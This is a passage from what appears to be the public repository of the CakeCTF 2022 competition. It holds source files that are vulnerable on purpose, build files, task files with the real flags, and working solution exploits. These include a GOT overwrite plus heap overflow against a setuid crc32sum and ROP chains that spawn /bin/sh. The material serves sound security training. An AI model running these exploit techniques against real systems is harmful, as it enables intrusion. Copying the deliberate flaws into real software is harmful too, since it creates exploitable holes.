"CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}" > /flag.txt 9 | RUN chmod 444 /flag.txt 10 | 11 | USER ctf 12 | WORKDIR /app 13 | ADD distfiles/server.py . 14 | 15 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py",pty,ctty,stderr,echo=0 16 | -------------------------------------------------------------------------------- /misc/readme2022/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | RUN groupadd -r ctf && useradd -r -g ctf ctf 7 | 8 | RUN echo "FakeCTF{**** REDUCTED ****}" > /flag.txt 9 | RUN chmod 444 /flag.txt 10 | 11 | USER ctf 12 | WORKDIR /app 13 | ADD server.py . 14 | 15 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py",pty,ctty,stderr,echo=0 16 | -------------------------------------------------------------------------------- /misc/readme2022/distfiles/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | try: 4 | f = open("/flag.txt", "r") 5 | except: 6 | print("[-] Flag not found. If this message shows up") 7 | print(" on the remote server, please report to amdin.") 8 | 9 | if __name__ == '__main__': 10 | filepath = input("filepath: ") 11 | if filepath.startswith("/"): 12 | exit("[-] Filepath must not start with '/'") 13 | elif '..' in filepath: 14 | exit("[-] Filepath must not contain '..'") 15 | 16 | filepath = os.path.expanduser(filepath) 17 | try: 18 | print(open(filepath, "r").read()) 19 | except: 20 | exit("[-] Could not open file") 21 | -------------------------------------------------------------------------------- /misc/readme2022/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | readme2022: 4 | build: ./ 5 | ports: 6 | - 12022:9999 7 | restart: on-failure:10 8 | -------------------------------------------------------------------------------- /misc/readme2022/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: readme 2022 3 | description: > 4 | nc {host} {port} 5 | flag: "CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}" 6 | author: ptr-yudai 7 | host: misc.2022.cakectf.com 8 | port: 12022 9 | tags: 10 | - misc 11 | is_survey: false 12 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/01_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker build . -t crc32pwn 3 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/02_start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | LENGTH=9 3 | STRENGTH=26 4 | challenge=`dd bs=32 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _. | cut -c -$LENGTH` 5 | echo hashcash -mb$STRENGTH $challenge 6 | 7 | echo "hashcash token: " 8 | read token 9 | if [ `expr "$token" : "^[a-zA-Z0-9\_\+\.\:\/]\{52\}$"` -eq 52 ]; then 10 | hashcash -cdb$STRENGTH -f /tmp/hashcash.sdb -r $challenge $token 2> /dev/null 11 | if [ $? -eq 0 ]; then 12 | echo "[+] Correct" 13 | else 14 | echo "[-] Wrong" 15 | exit 16 | fi 17 | else 18 | echo "[-] Invalid token" 19 | exit 20 | fi 21 | 22 | s=`dd bs=18 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _.` 23 | python3 -c 'import pty; pty.spawn(["/usr/bin/docker", "run", "--rm", "--name", "'$s'", "-it", "crc32pwn", "timeout", "-s9", "300", "bash"])' 24 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | # Update 6 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 7 | 8 | # Add users 9 | RUN groupadd -r admin && useradd -r -g admin admin 10 | RUN groupadd pwn && useradd -g pwn pwn 11 | RUN printf "/bin/bash\n" | chsh pwn 12 | 13 | # Add crc32sum 14 | ADD crc32sum /usr/bin/crc32sum 15 | RUN chmod 555 /usr/bin/crc32sum 16 | RUN chown admin:root /usr/bin/crc32sum 17 | RUN chmod +s /usr/bin/crc32sum 18 | 19 | RUN mkdir -p /home/pwn 20 | RUN chown -R pwn:pwn /home/pwn 21 | WORKDIR /home/pwn/ 22 | 23 | # Add flag 24 | ADD flag.txt /home/pwn/flag.txt 25 | RUN chmod 440 /home/pwn/flag.txt 26 | RUN chown admin:root /home/pwn/flag.txt 27 | 28 | USER pwn 29 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wl,-z,lazy,-z,relro crc32sum.c -o crc32sum -fno-stack-protector -no-pie 3 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/crc32sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/crc32pwn/challenge/crc32sum -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/crc32sum.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /** 13 | * Calculate CRC32 hash for data 14 | */ 15 | unsigned int crc32(unsigned char *data, size_t size) 16 | { 17 | size_t i, j; 18 | unsigned int hash; 19 | 20 | hash = 0xFFFFFFFF; 21 | for (i = 0; i < size; i++) { 22 | hash ^= data[i]; 23 | for (j = 0; j < CHAR_BIT; j++) { 24 | if (hash & 1) 25 | hash = (hash >> 1) ^ 0xEDB88320; 26 | else 27 | hash >>= 1; 28 | } 29 | } 30 | 31 | return hash ^ 0xFFFFFFFF; 32 | } 33 | 34 | /** 35 | * Calculate CRC32 hash for file 36 | */ 37 | void crc32sum(const char *filepath) 38 | { 39 | int fd; 40 | char *buffer, *p; 41 | struct stat stbuf; 42 | 43 | /* Try to open file */ 44 | if ((fd = open(filepath, O_RDONLY)) < 0) { 45 | perror(filepath); 46 | return; 47 | } 48 | 49 | /* Lock file */ 50 | if (flock(fd, LOCK_SH)) { 51 | perror("flock"); 52 | return; 53 | } 54 | 55 | /* Get file size */ 56 | if (fstat(fd, &stbuf)) { 57 | perror(filepath); 58 | flock(fd, LOCK_UN); 59 | return; 60 | } 61 | 62 | /* Allocate buffer */ 63 | if (!(buffer = malloc(stbuf.st_size))) { 64 | perror("Memory Error"); 65 | flock(fd, LOCK_UN); 66 | return; 67 | } 68 | 69 | /* Read file */ 70 | p = buffer; 71 | while (read(fd, p++, 1) == 1); 72 | 73 | /* Calculate hash */ 74 | printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size)); 75 | 76 | /* Cleanup */ 77 | free(buffer); 78 | flock(fd, LOCK_UN); 79 | close(fd); 80 | } 81 | 82 | /** 83 | * Entry point 84 | */ 85 | int main(int argc, char **argv) 86 | { 87 | char *filepath; 88 | 89 | setreuid(geteuid(), geteuid()); 90 | 91 | if (argc < 2) { 92 | printf("Usage: %s ...\n", argv[0]); 93 | if (system("/usr/bin/which crc32 > /dev/null") == 0) 94 | puts("Your system has `crc32` too"); 95 | return 1; 96 | } 97 | 98 | for (int i = 1; i < argc; i++) { 99 | filepath = strdup(argv[i]); 100 | crc32sum(filepath); 101 | free(filepath); 102 | } 103 | 104 | return 0; 105 | } 106 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{pr0c3ss1ng_f1l3s_w1th0ut_BUG_1s_sup3r_h4rd!} 2 | -------------------------------------------------------------------------------- /pwn/crc32pwn/challenge/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ubuntu 8 | group = docker 9 | type = UNLISTED 10 | bind = 0.0.0.0 11 | port = 9009 12 | server = /home/ubuntu/crc32pwn/challenge/02_start.sh 13 | per_source = 2 14 | rlimit_as = 1024M 15 | } 16 | -------------------------------------------------------------------------------- /pwn/crc32pwn/distfiles/01_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker build . -t crc32pwn 3 | -------------------------------------------------------------------------------- /pwn/crc32pwn/distfiles/02_start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | s=`dd bs=18 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _.` 3 | docker run --rm --name $s -it crc32pwn timeout -s9 300 bash 4 | -------------------------------------------------------------------------------- /pwn/crc32pwn/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | # Update 6 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 7 | 8 | # Add users 9 | RUN groupadd -r admin && useradd -r -g admin admin 10 | RUN groupadd pwn && useradd -g pwn pwn 11 | RUN printf "/bin/bash\n" | chsh pwn 12 | 13 | # Add crc32sum 14 | ADD crc32sum /usr/bin/crc32sum 15 | RUN chmod 555 /usr/bin/crc32sum 16 | RUN chown admin:root /usr/bin/crc32sum 17 | RUN chmod +s /usr/bin/crc32sum 18 | 19 | RUN mkdir -p /home/pwn 20 | RUN chown -R pwn:pwn /home/pwn 21 | WORKDIR /home/pwn/ 22 | 23 | # Add flag 24 | ADD flag.txt /home/pwn/flag.txt 25 | RUN chmod 440 /home/pwn/flag.txt 26 | RUN chown admin:root /home/pwn/flag.txt 27 | 28 | USER pwn 29 | -------------------------------------------------------------------------------- /pwn/crc32pwn/distfiles/crc32sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/crc32pwn/distfiles/crc32sum -------------------------------------------------------------------------------- /pwn/crc32pwn/distfiles/crc32sum.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /** 13 | * Calculate CRC32 hash for data 14 | */ 15 | unsigned int crc32(unsigned char *data, size_t size) 16 | { 17 | size_t i, j; 18 | unsigned int hash; 19 | 20 | hash = 0xFFFFFFFF; 21 | for (i = 0; i < size; i++) { 22 | hash ^= data[i]; 23 | for (j = 0; j < CHAR_BIT; j++) { 24 | if (hash & 1) 25 | hash = (hash >> 1) ^ 0xEDB88320; 26 | else 27 | hash >>= 1; 28 | } 29 | } 30 | 31 | return hash ^ 0xFFFFFFFF; 32 | } 33 | 34 | /** 35 | * Calculate CRC32 hash for file 36 | */ 37 | void crc32sum(const char *filepath) 38 | { 39 | int fd; 40 | char *buffer, *p; 41 | struct stat stbuf; 42 | 43 | /* Try to open file */ 44 | if ((fd = open(filepath, O_RDONLY)) < 0) { 45 | perror(filepath); 46 | return; 47 | } 48 | 49 | /* Lock file */ 50 | if (flock(fd, LOCK_SH)) { 51 | perror("flock"); 52 | return; 53 | } 54 | 55 | /* Get file size */ 56 | if (fstat(fd, &stbuf)) { 57 | perror(filepath); 58 | flock(fd, LOCK_UN); 59 | return; 60 | } 61 | 62 | /* Allocate buffer */ 63 | if (!(buffer = malloc(stbuf.st_size))) { 64 | perror("Memory Error"); 65 | flock(fd, LOCK_UN); 66 | return; 67 | } 68 | 69 | /* Read file */ 70 | p = buffer; 71 | while (read(fd, p++, 1) == 1); 72 | 73 | /* Calculate hash */ 74 | printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size)); 75 | 76 | /* Cleanup */ 77 | free(buffer); 78 | flock(fd, LOCK_UN); 79 | close(fd); 80 | } 81 | 82 | /** 83 | * Entry point 84 | */ 85 | int main(int argc, char **argv) 86 | { 87 | char *filepath; 88 | 89 | setreuid(geteuid(), geteuid()); 90 | 91 | if (argc < 2) { 92 | printf("Usage: %s ...\n", argv[0]); 93 | if (system("/usr/bin/which crc32 > /dev/null") == 0) 94 | puts("Your system has `crc32` too"); 95 | return 1; 96 | } 97 | 98 | for (int i = 1; i < argc; i++) { 99 | filepath = strdup(argv[i]); 100 | crc32sum(filepath); 101 | free(filepath); 102 | } 103 | 104 | return 0; 105 | } 106 | -------------------------------------------------------------------------------- /pwn/crc32pwn/distfiles/flag.txt: -------------------------------------------------------------------------------- 1 | FakeCTF{sample_flag} 2 | -------------------------------------------------------------------------------- /pwn/crc32pwn/solution/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | TARGET=crc32sum 3 | WORKDIR=/tmp/alligator 4 | 5 | # Make working directory 6 | rm -rf $WORKDIR 7 | mkdir -p $WORKDIR 8 | cd $WORKDIR 9 | 10 | PATH_A=AAAAAAAAAAAAAAAAaaaaaaaa_10h 11 | PATH_B=BBBBBBBBBBBBBBBBbbbbbbbb_20h 12 | PATH_C=CCCCCCCCCCCCCCCCccccccccccccccccCCCCCCCC_30h 13 | PATH_PWN=AAAAAAAAAAAAAAAAaaaaaaaa_pwn 14 | 15 | printf '0%.0s' {1..16} > $PATH_A 16 | printf '1%.0s' {1..32} > $PATH_B 17 | printf '\x50\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C # free-->system@plt 18 | printf '\x40\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C 19 | printf '\x50\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C 20 | printf '\x60\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C 21 | printf '\x70\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C 22 | printf '\x80\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C 23 | 24 | mkfifo $PATH_PWN 25 | printf '3%.0s' {1..24} > overflow 26 | printf '\x41\x00\x00\x00\x00\x00\x00\x00' >> overflow 27 | printf '\x18\x40\x40' >> overflow # free@got 28 | 29 | printf 'id; cat /home/pwn/flag.txt;' > cmd 30 | 31 | $TARGET \ 32 | $PATH_B $PATH_A $PATH_C \ 33 | $PATH_PWN \ 34 | $PATH_C \ 35 | cmd & 36 | sleep 1 37 | cat ./overflow > $PATH_PWN 38 | -------------------------------------------------------------------------------- /pwn/crc32pwn/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "crc32pwn" 3 | description: > 4 |

Privileged CRC32 Calculator!

5 | nc {host} {port}
6 | * There is a limit to the number of connections. Wait 5 minutes if you cannot connect. 7 | flag: "CakeCTF{pr0c3ss1ng_f1l3s_w1th0ut_BUG_1s_sup3r_h4rd!}" 8 | author: ptr-yudai 9 | host: pwn2.2022.cakectf.com 10 | port: 9009 11 | tags: 12 | - pwn 13 | - lunatic 14 | is_survey: false 15 | -------------------------------------------------------------------------------- /pwn/smal_arey/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD challenge/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD challenge/init.sh /etc/init.sh 11 | ADD challenge/redir.sh /home/pwn/.redir.sh 12 | RUN chmod 550 /home/pwn/.redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | WORKDIR /home/pwn 17 | ADD challenge/flag.txt flag.txt 18 | ADD distfiles/chall chall 19 | RUN chmod 440 flag.txt 20 | RUN chmod 550 chall 21 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt 22 | 23 | RUN chown -R root:pwn /home/pwn 24 | 25 | RUN ls /home/pwn -lh 26 | 27 | RUN service xinetd restart 28 | -------------------------------------------------------------------------------- /pwn/smal_arey/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wl,-z,lazy,-z,relro main.c -o chall -no-pie 3 | -------------------------------------------------------------------------------- /pwn/smal_arey/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{PRE01-C. Use parentheses within macros around parameter names} 2 | -------------------------------------------------------------------------------- /pwn/smal_arey/challenge/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwn/smal_arey/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define ARRAY_SIZE(n) (n * sizeof(long)) 6 | #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1)) 7 | 8 | int main() { 9 | long size, index, *arr; 10 | 11 | printf("size: "); 12 | if (scanf("%ld", &size) != 1 || size < 0 || size > 5) 13 | exit(0); 14 | 15 | arr = ARRAY_NEW(size); 16 | while (1) { 17 | printf("index: "); 18 | if (scanf("%ld", &index) != 1 || index < 0 || index >= size) 19 | exit(0); 20 | 21 | printf("value: "); 22 | scanf("%ld", &arr[index]); 23 | } 24 | } 25 | 26 | __attribute__((constructor)) 27 | void setup(void) { 28 | alarm(180); 29 | setbuf(stdin, NULL); 30 | setbuf(stdout, NULL); 31 | } 32 | -------------------------------------------------------------------------------- /pwn/smal_arey/challenge/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9999 11 | server = /home/pwn/.redir.sh 12 | rlimit_as = 1024M 13 | } -------------------------------------------------------------------------------- /pwn/smal_arey/challenge/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwn/smal_arey/distfiles/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/smal_arey/distfiles/chall -------------------------------------------------------------------------------- /pwn/smal_arey/distfiles/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/smal_arey/distfiles/ld-2.31.so -------------------------------------------------------------------------------- /pwn/smal_arey/distfiles/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/smal_arey/distfiles/libc-2.31.so -------------------------------------------------------------------------------- /pwn/smal_arey/distfiles/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define ARRAY_SIZE(n) (n * sizeof(long)) 6 | #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1)) 7 | 8 | int main() { 9 | long size, index, *arr; 10 | 11 | printf("size: "); 12 | if (scanf("%ld", &size) != 1 || size < 0 || size > 5) 13 | exit(0); 14 | 15 | arr = ARRAY_NEW(size); 16 | while (1) { 17 | printf("index: "); 18 | if (scanf("%ld", &index) != 1 || index < 0 || index >= size) 19 | exit(0); 20 | 21 | printf("value: "); 22 | scanf("%ld", &arr[index]); 23 | } 24 | } 25 | 26 | __attribute__((constructor)) 27 | void setup(void) { 28 | alarm(180); 29 | setbuf(stdin, NULL); 30 | setbuf(stdout, NULL); 31 | } 32 | -------------------------------------------------------------------------------- /pwn/smal_arey/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | smal_arey: 4 | build: 5 | context: . 6 | working_dir: /home/pwn 7 | container_name: smal_arey 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "9002:9999" 13 | entrypoint: /etc/init.sh 14 | restart: always 15 | -------------------------------------------------------------------------------- /pwn/smal_arey/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", "9002")) 6 | 7 | def setval(index, value): 8 | sock.sendlineafter("index: ", str(index)) 9 | sock.sendlineafter("value: ", str(value)) 10 | 11 | libc = ELF("../distfiles/libc-2.31.so") 12 | elf = ELF("../distfiles/chall") 13 | #sock = Process("../distfiles/chall") 14 | sock = Socket(HOST, PORT) 15 | 16 | """ 17 | 1. Leak address 18 | """ 19 | sock.sendlineafter("size: ", "5") 20 | 21 | # prepare rop chain 22 | setval(0, next(elf.gadget("pop rdi; ret;"))) 23 | setval(1, elf.got("printf")) 24 | setval(2, elf.plt("printf")) 25 | setval(3, elf.symbol("_start")) 26 | 27 | # size = 0xffffffffffffffff 28 | setval(4, (1<<64)-1) 29 | 30 | # arr = exit@got 31 | setval(6, elf.got('exit')) 32 | # exit@got = run rop chain 33 | setval(0, next(elf.gadget("add rsp, 8; ret;"))) 34 | 35 | # exit 36 | sock.sendlineafter("index: ", "-1") 37 | 38 | # leak 39 | libc_base = u64(sock.recv(6)) - libc.symbol("printf") 40 | libc.set_base(libc_base) 41 | 42 | """ 43 | 2. pwn 44 | """ 45 | sock.sendlineafter("size: ", "5") 46 | 47 | # prepare rop chain 48 | setval(0, next(elf.gadget("pop rdi; ret;"))) 49 | setval(1, next(libc.search("/bin/sh"))) 50 | setval(2, libc.symbol("system")) 51 | 52 | # size = 0xffffffffffffffff 53 | setval(4, (1<<64)-1) 54 | 55 | # arr = exit@got 56 | setval(6, elf.got('exit')) 57 | # exit@got = run rop chain 58 | setval(0, next(elf.gadget("add rsp, 8; ret;"))) 59 | 60 | # exit 61 | sock.sendlineafter("index: ", "-1") 62 | 63 | sock.sh() 64 | -------------------------------------------------------------------------------- /pwn/smal_arey/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "smal arey" 3 | description: > 4 |

Small array only!

5 | nc {host} {port} 6 | flag: "CakeCTF{PRE01-C. Use parentheses within macros around parameter names}" 7 | author: ptr-yudai 8 | host: pwn1.2022.cakectf.com 9 | port: 9002 10 | tags: 11 | - pwn 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD challenge/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD challenge/init.sh /etc/init.sh 11 | ADD challenge/redir.sh /home/pwn/.redir.sh 12 | RUN chmod 550 /home/pwn/.redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | WORKDIR /home/pwn 17 | ADD challenge/flag.txt flag.txt 18 | ADD distfiles/chall chall 19 | RUN chmod 440 flag.txt 20 | RUN chmod 550 chall 21 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt 22 | 23 | RUN chown -R root:pwn /home/pwn 24 | 25 | RUN ls /home/pwn -lh 26 | 27 | RUN service xinetd restart 28 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ -Wl,-z,lazy,-z,relro main.cpp -o chall -no-pie 3 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it} 2 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/challenge/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/challenge/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | struct Test { 5 | Test() { std::fill(_c_str, _c_str + 0x20, 0); } 6 | char* c_str() { return _c_str; } 7 | std::string& str() { return _str; } 8 | 9 | private: 10 | __attribute__((used)) 11 | void call_me() { 12 | std::system("/bin/sh"); 13 | } 14 | 15 | char _c_str[0x20]; 16 | std::string _str; 17 | }; 18 | 19 | int main() { 20 | Test test; 21 | 22 | std::setbuf(stdin, NULL); 23 | std::setbuf(stdout, NULL); 24 | 25 | std::cout << "1. set c_str" << std::endl 26 | << "2. get c_str" << std::endl 27 | << "3. set str" << std::endl 28 | << "4. get str" << std::endl; 29 | 30 | while (std::cin.good()) { 31 | int choice = 0; 32 | std::cout << "choice: "; 33 | std::cin >> choice; 34 | 35 | switch (choice) { 36 | case 1: // set c_str 37 | std::cout << "c_str: "; 38 | std::cin >> test.c_str(); 39 | break; 40 | 41 | case 2: // get c_str 42 | std::cout << "c_str: " << test.c_str() << std::endl; 43 | break; 44 | 45 | case 3: // set str 46 | std::cout << "str: "; 47 | std::cin >> test.str(); 48 | break; 49 | 50 | case 4: // get str 51 | std::cout << "str: " << test.str() << std::endl; 52 | break; 53 | 54 | default: // otherwise exit 55 | std::cout << "bye!" << std::endl; 56 | return 0; 57 | } 58 | } 59 | 60 | return 1; 61 | } 62 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/challenge/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9999 11 | server = /home/pwn/.redir.sh 12 | rlimit_as = 1024M 13 | } -------------------------------------------------------------------------------- /pwn/str_vs_cstr/challenge/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/distfiles/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/str_vs_cstr/distfiles/chall -------------------------------------------------------------------------------- /pwn/str_vs_cstr/distfiles/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | struct Test { 5 | Test() { std::fill(_c_str, _c_str + 0x20, 0); } 6 | char* c_str() { return _c_str; } 7 | std::string& str() { return _str; } 8 | 9 | private: 10 | __attribute__((used)) 11 | void call_me() { 12 | std::system("/bin/sh"); 13 | } 14 | 15 | char _c_str[0x20]; 16 | std::string _str; 17 | }; 18 | 19 | int main() { 20 | Test test; 21 | 22 | std::setbuf(stdin, NULL); 23 | std::setbuf(stdout, NULL); 24 | 25 | std::cout << "1. set c_str" << std::endl 26 | << "2. get c_str" << std::endl 27 | << "3. set str" << std::endl 28 | << "4. get str" << std::endl; 29 | 30 | while (std::cin.good()) { 31 | int choice = 0; 32 | std::cout << "choice: "; 33 | std::cin >> choice; 34 | 35 | switch (choice) { 36 | case 1: // set c_str 37 | std::cout << "c_str: "; 38 | std::cin >> test.c_str(); 39 | break; 40 | 41 | case 2: // get c_str 42 | std::cout << "c_str: " << test.c_str() << std::endl; 43 | break; 44 | 45 | case 3: // set str 46 | std::cout << "str: "; 47 | std::cin >> test.str(); 48 | break; 49 | 50 | case 4: // get str 51 | std::cout << "str: " << test.str() << std::endl; 52 | break; 53 | 54 | default: // otherwise exit 55 | std::cout << "bye!" << std::endl; 56 | return 0; 57 | } 58 | } 59 | 60 | return 1; 61 | } 62 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | str_vs_cstr: 4 | build: 5 | context: . 6 | working_dir: /home/pwn 7 | container_name: str_vs_cstr 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "9003:9999" 13 | entrypoint: /etc/init.sh 14 | restart: always 15 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/solution/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | from ptrlib import * 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = os.getenv("PORT", "9003") 6 | 7 | def set_cstr(data): 8 | assert is_cin_safe(data) 9 | sock.sendlineafter("choice: ", "1") 10 | sock.sendlineafter("c_str: ", data) 11 | def set_str(data): 12 | assert is_cin_safe(data) 13 | sock.sendlineafter("choice: ", "3") 14 | sock.sendlineafter("str: ", data) 15 | 16 | elf = ELF("../distfiles/chall") 17 | #sock = Process("../distfiles/chall") 18 | sock = Socket(HOST, int(PORT)) 19 | 20 | payload = b'A'*0x20 21 | # std::string pointer --> cin@got 22 | payload += p64(elf.got('_ZNSolsEPFRSoS_E')) 23 | # std::string size --> 0x8 24 | payload += p64(8) 25 | # std::string capacity --> 0x8 26 | payload += p64(8) 27 | 28 | set_cstr(payload) 29 | set_str(p64(elf.symbol('_ZN4Test7call_meEv'))) # AAW 30 | sock.sendlineafter("choice: ", "x") 31 | 32 | sock.interactive() 33 | -------------------------------------------------------------------------------- /pwn/str_vs_cstr/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "str.vs.cstr" 3 | description: > 4 |

Which do you like, C string or C++ string?

5 | nc {host} {port} 6 | flag: "CakeCTF{HW1: Remove \"call_me\" and solve it / HW2: Set PIE+RELRO and solve it}" 7 | author: ptr-yudai 8 | host: pwn1.2022.cakectf.com 9 | port: 9003 10 | tags: 11 | - pwn 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /pwn/welkerme/challenge/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = kosenctfx 8 | group = docker 9 | type = UNLISTED 10 | bind = 0.0.0.0 11 | port = 9999 12 | server = /home/kosenctfx/welkerme/challenge/qemu/run_qemu.sh 13 | per_source = 2 14 | } 15 | -------------------------------------------------------------------------------- /pwn/welkerme/challenge/qemu/bzImage: -------------------------------------------------------------------------------- 